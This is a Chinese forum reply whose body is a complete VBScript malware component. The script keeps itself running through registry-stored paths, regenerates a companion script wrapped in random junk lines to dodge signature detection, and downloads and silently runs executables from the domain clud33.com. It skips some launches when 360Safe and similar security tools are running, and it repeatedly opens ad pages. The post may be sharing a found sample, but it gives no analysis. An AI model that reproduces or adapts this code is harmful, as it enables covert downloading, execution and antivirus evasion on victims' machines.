slore
铂金会员
积分 5212
发帖 2478
注册 2007-2-8
状态 离线
|
『第
2 楼』:
on Error Resume Next
Dim G_Updater_Url,G_JS_Url,G_Js_FileName,G_B_FileName,G_B_BackUp_FileName,G_JS_ExeName,G_Ad_Url
Dim A_Flag,B_Flag
Set wshShell = CreateObject("Wscript.Shell")
Set fo = CreateObject("Scripting.FileSystemObject")
'创建运行标记
'--------------------------------------------------------
Call ForceCreateFolder(fo.GetParentFolderName(WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Xeon\a")))
Set A_Flag = fo.CreateTextFile(WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Xeon\a") & ".flag",True)
If Err.Number <> 0 Then
Err.Clear
Wscript.Quit
End If
G_B_FileName = WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Intel\UUID")
G_B_BackUp_FileName = WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Xeon\b")
G_Js_FileName = WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Intel\FileData")
G_Updater_Url = "http://downc.clud33.com/DownSoft.txt"
G_JS_Url = "http://downc.clud33.com/DTS.txt"
G_Ad_Url = "http://www.g.cn.clud33.com/lh/lh.html"
G_HomePage_Url = "http://downc.clud33.com/ies.txt"
Call Main()
'-----------------------------------------
Sub Main()
'运行B.vbs
Call CreateB
Call StartWebPlus
If Not ExistsB Then
RunCmd "wscript.exe " & Chr(34) & G_B_FileName & Chr(34)
End If
Call CheckJS
Dim LoopCount
LoopCount = 1
Do While True
If LoopCount = 12 * 60 Then
Call DownUpdater
End If
If LoopCount = 10 * 60 Then
Call ExecuteAd
End If
If (LoopCount > 11 * 60) And ((LoopCount - 10 * 60) Mod 35 * 60 = 0) Then
Call ExecuteAd
End If
'------------检查B存不存在----------------------------
If (LoopCount Mod 10 = 0) Then
Call CreateB
If Not ExistsB Then
RunCmd "wscript.exe " & Chr(34) & G_B_FileName & Chr(34)
End If
Call CheckJS
Call StartWebPlus
End If
LoopCount = LoopCount + 1
wscript.Sleep 1000
Loop
End Sub
'----随机生成一行字符串----------------------------------------------------------
Function CreateRndStr(LengthNum)
Dim Ran,i
CreateRndStr = ""
Jup = False
JupNum = 0
If LengthNum Mod 13 = 0 Then
Jup = True
Randomize
JupNum = CInt(Rnd * (LengthNum - 8))
End If
Randomize
For i = 1 To LengthNum
If Jup And I = JupNum Then
CreateRndStr = CreateRndStr & "EXECUTE "
I = I + 8
End If
Ran = CInt(Rnd * 2)
If Ran = 0 Then
Ran = CInt(Rnd * 25) + 97
CreateRndStr = CreateRndStr & UCase(Chr(Ran))
ElseIf Ran = 1 Then
Ran = CInt(Rnd * 9)
CreateRndStr = CreateRndStr & Ran
ElseIf Ran = 2 Then
Ran = CInt(Rnd * 25) + 97
CreateRndStr = CreateRndStr & Chr(Ran)
End If
Next
End Function
'--------------随机写入垃圾数据----------------------------------
Sub CreateRndText(File)
on Error Resume Next
Randomize
Dim I,LengthNum
LengthNum = 200 + Rnd * 500
For I = 1 To LengthNum
File.WriteLine("'" & CreateRndStr(10 + Rnd * 1000))
Next
End Sub
'---------------------------------------------------------
Function ExistsB
on Error Resume Next
Dim Flag
Call ForceCreateFolder(fo.GetParentFolderName(WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Xeon\b")))
Flag = fo.CreateTextFile(WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Xeon\b") & ".flag",True )
JudgeB = False
Flag.Close
If Err.Number <> 0 Then
Err.Clear
JudgeB = True
End If
End Function
'---------------------------------------------------------
Function ExistsA
on Error Resume Next
Call ForceCreateFolder(fo.GetParentFolderName(WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Xeon\a")))
Set Flag = fo.CreateTextFile(WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Xeon\a") & ".flag",True )
JudgeB = False
Flag.Close
If Err.Number <> 0 Then
Err.Clear
JudgeB = True
End If
End Function
'生成B.vbs----------------------------------------------
Sub CreateB
on Error Resume Next
If fo.FileExists(G_B_FileName) Then
Exit Sub
End If
If Not fo.FileExists(G_B_BackUp_FileName) Then
Exit Sub
End If
Dim B_BackUp_File,B_Content
Set B_BackUp_File = fo.OpenTextFile(G_B_BackUp_FileName)
B_Content = B_BackUp_File.ReadAll
B_BackUp_File.Close
If B_Content <> "" Then
Dim B_File
Set B_File = fo.CreateTextFile(G_B_FileName,Ture)
Call CreateRndText(B_File)
B_File.WriteLine(B_Content)
Call CreateRndText(B_File)
B_File.Close
End If
End Sub
'检查插件--------------------------------------
Sub CheckJS()
on Error Resume Next
If Not ProcessExist(G_JS_ExeName) Then
If Not fo.FileExists(G_Js_FileName) Then
DownFile G_JS_Url,G_Js_FileName
End If
If Not Exists360 Then
RunCmd Chr(34) & G_Js_FileName & Chr(34)
End If
End If
End Sub
'下载下载者------------------------------------------
Sub DownUpdater()
on Error Resume Next
Dim SaveName
Set ws = CreateObject("WScript.Shell")
Set Environ = ws.Environment("process")
Dim tmpPath
tmpPath = Environ("tmp")
If tmpPath = "" Then
tmpPath = WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Intel\UUID")
End If
SaveName = tmpPath & "\tmpDTS.exe"
If Not fo.FileExists(SaveName) Then
DownFile G_Updater_Url,SaveName
End If
If fo.FileExists(SaveName) Then
RunCmd Chr(34) & SaveName & Chr(34)
End If
End Sub
'执行广告------------------------------------------
Sub ExecuteAd()
on Error Resume Next
wshShell.Run "iexplore.exe " & G_Ad_Url,1,False
End Sub
'下载文件---------------------------------------------
Sub DownFile(Url,FileName)
on Error Resume Next
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",Url,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile FileName,2
End Sub
'运行命令--------------------------------------------
Sub RunCmd(FileName)
on Error Resume Next
iReturn = wshShell.Run(FileName, 0, False)
End Sub
'判断指定进程是否存在------------------------------------
Public Function ProcessExist(exeName)
on Error Resume Next
ProcessExist = False
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = '" & exeName & "'")
For Each objProcess In colProcessList
If objProcess.executablepath <> "" Then
ProcessExist = True
End If
Next
End Function
'----------------------------
Sub ForceCreateFolder(FolderName)
'On Error Resume Next
If FolderName = "" Then
Exit Sub
End If
If fo.FolderExists(FolderName) Then
Exit Sub
End If
If Not fo.FolderExists(fo.GetParentFolderName(FolderName)) Then
ForceCreateFolder fo.GetParentFolderName(FolderName)
End If
Call fo.CreateFolder(FolderName)
End Sub
'-----------------------------------------------------------
Function Exists360
on Error Resume Next
For Each ps In GetObject("winmgmts:\\.\root\cimv2:win32_process").instances_
If UCase(ps.name) = UCase("360Safe.exe") or UCase(ps.name) = UCase("DSMain.exe") or UCase(ps.name) = UCase("advUtils.exe") Then
Exists360 = True
Exit Function
End If
Next
Exists360 = False
End Function
'-------------------------------------------------------------------------------
Sub StartWebPlus()
on Error Resume Next
Dim webFileName
webFileName = WshShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\APPPath")
If fo.FileExists(webFilename) Then
If Not ProcessExist(fo.GetFileName(webFileName)) Then
Call RunCmd(webFileName)
End If
End If
End Sub
|
S smile 微笑,L love 爱,O optimism 乐观,R relax 放松,E enthusiasm 热情...Slore |
|